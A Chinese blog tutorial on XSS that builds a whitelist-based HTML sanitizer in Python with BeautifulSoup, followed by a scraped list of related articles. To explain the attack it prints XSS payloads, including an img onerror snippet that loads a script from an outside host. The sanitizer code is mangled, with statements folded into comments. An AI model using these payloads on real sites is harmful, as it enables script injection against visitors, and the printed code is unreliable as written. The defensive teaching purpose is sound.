python实现XSS过滤(BeautifulSoup和白名单处理)
下面我做的莫名其妙的代码格式化是因为这个 --。--
首先大致说一下XSS,就是在HTML里插入恶意的javascript代码,使得在该HTML加载时执行恶意代码,达到攻击的目的。
可能存在的地方呢,就是只要是用户能输入的地方那么就可能产生XSS,包括像博客园这种能看到输入形成的HTML的编辑器。

下面是博客园的过滤手段。(注意最后一行)

当然不止这些写法,比如<img src=0 onerror=alert(1)>这些<tag on*=*/>事件,或者说下面这种“借刀杀人法”<script src="JS地址"></script>。
甚至可以用图片方式来动态加载外部js。
<img style=display:none src=1
onerror='var s=document.createElement("script");
s.src="http://xsst.sinaapp.com/m.js";
(document.body||document.documentElement).appendChild(s);' />
那当我们回看前面写的这几种方式的时候,可以 发现几个标签或属性特别显眼
<script>、<src>、<on*>事件,
那么我们就可以设置只允许某几个标签通过。(黑名单不安全,毕竟只有你想不到。没有别人做不到。)
下面说说怎么过滤,现在可能直接想到的,用正则表达式,这当然可以,只不过比较难设计,那我们先用BeautifulSoup来处理HTML,再来过滤敏感标签。
content="""
<p class='c1' id='i1'>
asdfaa<span style="font-family:NSimSun;">sdf<a>a</a>sdf</span>sdf
</p>
<p>
<strong class='c2' id='i2'>asdf</strong>
<script>alert(123)</script>
</p>
<h2>
asdf
</h2>
"""
# 这儿当做是安全的标签,同时也指定了安全的属性。
tags = {
'p': ['class'],
'strong': ['id',]
}
from bs4 import BeautifulSoup
soup = BeautifulSoup(content, 'html.parser') # BeautifulSoup自带的html解释器 for tag in soup.find_all():
if tag.name in tags:
pass
else:
tag.hidden = True # 将标签隐藏
tag.clear() # 删除标签里的内容
continue # 用户提交数据的所有属性
input_attrs = tag.attrs # {'class': 'c1', 'id': 'i1'}字典
valid_attrs = tags[tag.name] #['class']列表 # input_attrs.keys() 生成的是一个迭代器
# 注意下面这种写法,在迭代器里是不能删字典里某个键值对的,因为这样破坏了迭
# 代器。 for k in list(input_attrs.keys()):
if k in valid_attrs:
pass
else:
# 删除某个标签的某一个属性
del tag.attrs[k]
# decode为HTML形式。
content = soup.decode()
print(content)
python实现XSS过滤(BeautifulSoup和白名单处理)的更多相关文章
- 根据白名单过滤 HTML(防止 XSS 攻击)
https://github.com/leizongmin/js-xss/blob/master/README.zh.md 根据白名单过滤 HTML(防止 XSS 攻击) xss是一个用于对用户输入的 ...
- python(Django之组合搜索、JSONP、XSS过滤 )
一.组合搜索 二.jsonp 三.xss过滤 一.组合搜索 首先,我们在做一个门户网站的时候,前端肯定是要进行搜索的,但是如果搜索的类型比较多的话,怎么做才能一目了然的,这样就引出了组合搜索的这个案例 ...
- 04: 使用BeautifulSoup封装的xss过滤模块
目录: 1.1 xss攻击简介 1.2 xss攻击解决方法 1.1 xss攻击简介返回顶部 1.简介 1. 跨站脚本(cross site script)为了避免与样式css混淆,所以简称为XSS. ...
- Python开发【Django】:组合搜索、JSONP、XSS过滤
组合搜索 做博客后台时,需要根据文章的类型做不同的检索 1.简单实现 关联文件: from django.conf.urls import url from . import views urlpat ...
- 第10.5节 使用__all__定义Python模块导入白名单
一. 引言 <第10.4节 Python模块的弱封装机制>介绍了Python模块的的弱封装机制,除了使用弱封装机制来从一定程度上防止导入特定成员外,Python模块中还提供可另外一种类似白 ...
- 第8.20节 Python中限制动态定义实例属性的白名单:__slots__
一. 引言 按照<第7.10节 Python类中的实例变量定义与使用>.<第7.14节Python类中的实例方法解析>中的介绍,当定义了一个类,并且创建了该类的实例后,可以给该 ...
- APK安装时的过滤方式:包名白名单、证书认证
1.定义一些全局变量,文件位置: Build.java (frameworks\base\core\java\android\os) /** * 包管理方式名称<br> * whiteli ...
- Nginx 配置GeoIP2 禁止访问,并允许添加白名单过滤访问设置
配置环境:Centos 7.6 + Tengine 2.3.2 GeoIP2 下载地址:https://dev.maxmind.com/geoip/geoip2/geolite2/ 1. Nginx ...
- KindEditor 和 xss过滤
KindEditor 1.进入官网 2.下载 官网下载:http://kindeditor.net/down.php 本地下载:http://files.cnblogs.com/files/wup ...
随机推荐
- C++11新特性应用--介绍几个新增的便利算法(不更改容器中元素顺序的算法)
总所周知.C++ STL中有个头文件,名为algorithm.即算法的意思. The header<algorithm>defines a collection of functions ...
- AbstractFactory抽象工厂模式
#include <iostream> using namespace std; class ProductAbase { public: ProductAbase(){} virtual ...
- jquery通过数值改变球大小
在业务中遇到一个问题:在页面上显示一个球.且球的大小会应数字的大小而改变. 我们都知道 js是能够画圆(用css样式准备一个圆.假设addClass),但这并非我们想要的. 于是笔者脑洞打开:用样式画 ...
- 基于 HTML5 Canvas 的 3D 机房创建
对于 3D 机房来说,监控已经不是什么难事,不同的人有不同的做法,今天试着用 HT 写了一个基于 HTML5 的机房,发现果然 HT 简单好用.本例是将灯光.雾化以及 eye 的最大最小距离等等功能在 ...
- 原生js实现一个简单的倒计时功能
大家好,我是云中君!欢迎大家来观看我的博客 之前那,在群里看到很多人问,关于电商网站中的倒计时功能怎么实现,很多人说在网上找了很多插件,但是不是很会用,所以今天就在这里分享一下我封装的一个小的倒计时功 ...
- 项目实战13—企业级虚拟化Virtualization-KVM技术
项目实战系列,总架构图 http://www.cnblogs.com/along21/p/8000812.html KVM的介绍.准备工作和qemu-kvm 命令详解 1.介绍 (1)介绍 KVM:就 ...
- windows 下使用VMware Workstation Pro 工具,ubuntu创建虚拟机
本文记录windows 下使用VMware Workstation Pro 工具,ubuntu创建虚拟机 的步骤 第一步 [文件] --- [新建虚拟机] 第二步 弹出的新建虚拟机向导对话框 标准 ...
- SQL Server 全文索引的管理
全文索引不同于常见的聚集索引或非聚集索引,这些索引的内部实现是平衡树(B-Tree)结构,而全文索引在物理上是由一系列的内部表(Internal tables)构成的,这些内部表称作全文索引片段(Fr ...
- 腾讯WeTest《2017中国移动游戏质量白皮书》开放预约,再为国内手游把把脉
产品为王,质量先行.如果说2016年是爆款手游相继崛起的一年,那么2017年则更像是打磨精品.建立生态的高手切磋之年.守住一个游戏的质量生命线,方能建立健康生态,方能在如火如荼的行业竞争中角逐到最后. ...
- 《程序设计实践》【PDF】下载
<程序设计实践>[PDF]下载链接: https://u253469.ctfile.com/fs/253469-231196319 内容简介 本书从排错.测试.性能.可移植性.设计.界面. ...